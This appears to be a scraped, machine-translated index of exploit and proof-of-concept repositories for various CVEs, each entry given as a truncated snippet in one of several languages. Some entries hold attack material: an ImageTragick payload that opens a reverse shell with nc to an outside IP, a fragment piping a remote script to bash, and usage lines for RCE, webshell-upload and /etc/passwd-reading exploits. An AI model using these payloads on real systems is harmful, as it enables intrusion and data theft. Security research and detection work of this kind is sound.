CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell Testskript Dieses Repository enthält ein Python-Skript zur Automatisierung des Testprozesses für eine Sicherheitslücke namens Text4Shell, die unter der CVE-ID: CVE-2022-42889 geführt wird. Über Text4Shell CVE-2022-42889 Text4Shell ist eine kritische Sicherheitslücke, die...

CVE-2023-32571-POC

Dynamic Linq इंजेक्शन से RCE - CVE-2023-32571 Dynamic Linq इंजेक्शन से RCE के बारे में CVE-2023-32571 हाल ही में, NCC Group के सदस्यों ने Dynamic Linq में एक कमजोरी खोजी है जो हमलावरों को Linq इंजेक्शन के माध्यम से C फ़ंक्शन कॉल करने की अनुमति देती है, जिससे RCE प्राप्त करना संभव हो जाता है।...

Apache-Flink-Dashboard-rec

Apache-Flink-Web-Dashboard-RCE Apache Flink Web Dashboard RCE...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - 通过AI代理的服务器端模板注入（SSTI）导致远程代码执行（RCE） 📌 概述 Zammad 是一个流行的开源基于 Web 的帮助台和客户支持系统。 CVE-2026-34724 是新的 AI Agent 功能中的一个 服务器端模板注入（SSTI） 漏洞。 一个能够修改 typeenrichmentdata 配置的已认证 管理员 可以注入恶意模板，当 AI 代理处理数据时导致 完全远程代码执行（RCE） 。 受影响版本 ：Zammad 7.0.1 修复版本 ：Zammad 7.0.1 （于 2026 年 4 月 8 日发...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell 由 infrar3d 开发 一个影响 React.js 服务器端使用的 10.0 严重性漏洞，在 React.js 中被跟踪为 CVE-2025-55182，在 Next.js 框架中被跟踪为 CVE-2025-66478。 该漏洞由 Lachlan Davidson 于 2025 年 11 月 29 日太平洋时间负责任地向 Meta 团队披露。React 和 Vercel 于 2025 年 12 月 3 日太平洋时间进行了初步披露和补丁发布。（原文：https://react2shell.com/） 用法： root@kitploi...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2023-47460

CVE-2023-47460 Description Vulnérabilité d'injection SQL dans Knovos Discovery v.22.67.0 permet à un attaquant distant d'exécuter du code arbitraire via le composant /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure Type de vulnérabilité Injection SQL Fournisseur du produit Knovos...

CVE-2020-8816

CVE-2020-8816 Pi-hole Esecuzione di codice remoto autenticata Versione = 4.3.2 Utilizzo python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin Esempio Ulteriori informazioni https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2021-21972

Utilisation : CVE-2021-21972.py option -u ou --url : URL cible -t ou --type : Type de payload ssh/webshell -f ou --file : Fichier à téléverser webshell ou authorizedkeys Exemple : CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p ou --proxy : Définir un proxy Exemple :...

CVE-2025-52691

CVE-2025-52691 SmarterMail: неаутентифицированная произвольная загрузка файлов RCE Обзор Критическая уязвимость неаутентифицированной произвольной загрузки файлов, позволяющая удалённо выполнять код...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Эксплойт удаленного выполнения кода на Windows -orange?style=for...

fastjson-rce-lab

Fastjson 1.2.83 RCE Lab-Umgebung CVE-2026-16723 Haftungsausschluss: Dieses Labor dient ausschließlich der Sicherheitsforschung, Lehrdemonstration und dem Aufbau von Verteidigungsmaßnahmen in autorisierten Umgebungen. Tests an nicht autorisierten Zielen können rechtswidrig sein. Die Folgen der...

Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection

Репозиторий для инженерии обнаружения CVE-2025-25257 Обзор Этот репозиторий предоставляет готовое к использованию содержимое для инженерии обнаружения CVE-2025-25257 — уязвимости SQL-инъекции без аутентификации в Fortinet FortiWeb Fabric Connector версий с 7.0 по 7.6.x. Успешная эксплуатация може...

CVE-2026-53921

🚨 CVE-2026-53921 - odhcpd Kritischer Stack-basierter Pufferüberlauf in OpenWrt odhcpd Ein entfernter, nicht authentifizierter Stack-basierter Pufferüberlauf, der potenzielleRemote Code Execution RCE mit Root-Rechten ermöglicht. 📖 Übersicht ⚡ Beschreibung CVE-2026-53921 ist ein kritischer...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE 任意文件读取 CVE-2024-23897 使用方法: python poc.py http://127.0.0.1:8888/ /etc/passwd 更新: 更新至 Jenkins 2.442, LTS 2.426.3 修复: 如果你无法更新到最新版本，请禁用对CLI的访问，这将完全消除被利用的可能性。...

CVE-2019-17564

CVE-2019-17564：Vulnerabilità di deserializzazione in Apache Dubbo 0x00 Introduzione Apache Dubbo è un framework RPC Java open source ad alte prestazioni e leggero che fornisce tre capacità fondamentali: chiamate a metodi remoti orientate all'interfaccia, tolleranza ai guasti intelligente e...

CVE-2026-Discord

Kritischer Sicherheitsbericht: Discord macOS-Client Datum : 2026-01-25 Ziel : Discord-Client macOS Stable 0.0.373 Autor : Antigravity 🚨 Zusammenfassung Wir haben eine kritische Sicherheitslücke im Discord-macOS-Client Electron-basiert identifiziert, die die erzwungene Offenlegung des...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Ausstehend: django-summernote Beliebiger Datei-Upload RCE Dieses Repository enthält einen Proof of Concept PoC für eine bedingte Remote Code Execution RCE -Schwachstelle, die in django-summernote Version 0.8.20.0 und früher entdeckt wurde. Details zur Schwachstelle Produkt :...

CVE-2023-6553

CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?"...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...